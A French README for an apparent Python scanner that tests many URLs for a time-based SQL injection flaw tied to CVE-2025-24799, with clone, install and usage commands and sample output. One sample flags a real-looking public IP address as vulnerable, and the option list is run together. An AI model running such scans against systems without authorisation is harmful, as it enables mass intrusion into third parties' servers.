
CVE-2025-24799 Scanner SQLi
Un scanner rapide de vulnérabilités par injection SQL, codé en Python. Il utilise la détection SQLi basée sur le temps avec multithreading et une sortie colorée, conçu pour tester les vulnérabilités CVE-2025-24799.
Clonez le dépôt :
git clone https://github.com/MuhammadWaseem29/CVE-2025-24799.git
cd CVE-2025-24799
Installez les paquets requis :
pip install requests colorama
Exécutez avec Python 3 :
python3 exploit.py -u http://example.com
Sortie :
[VULN] http://example.com/index.php/ajax/ - Delay: 7.40s
python3 exploit.py -f urls.txt -t 15
Sortie :
Scanning: 100/1000 (10.0%)
[VULN] http://example.com/index.php/ajax/ - Delay: 7.10s
python3 exploit.py -f urls.txt -o results.txt -t 10
Sortie :
Scanning: 50/500 (10.0%)
[VULN] http://test.com/index.php/ajax/ - Delay: 7.20s
[+] Results saved to results.txt

Validez via curl

-u <URL> : URL unique à analyser-f <FILE> : Fichier contenant les URL (une par ligne)-o <FILE> : Enregistrer les résultats dans un fichier-t <NUM> : Nombre de threads (défaut : 10)╔════════════════════════════╗
║ Noob-Wasi SQLi Scanner ║
║ Coded by: Noob-Wasi ║
║ Version: 1.0 ║
╚════════════════════════════╝
Starting SQL injection scan...
Scanning: 200/3494 (5.7%)
[VULN] http://152.67.42.99/index.php/ajax/ - Delay: 7.40s
Scanning: 745/3494 (21.3%)
Scan completed!
-t) en fonction de votre système/réseauAuteur : Noob-Wasi
GitHub : github.com/MuhammadWaseem29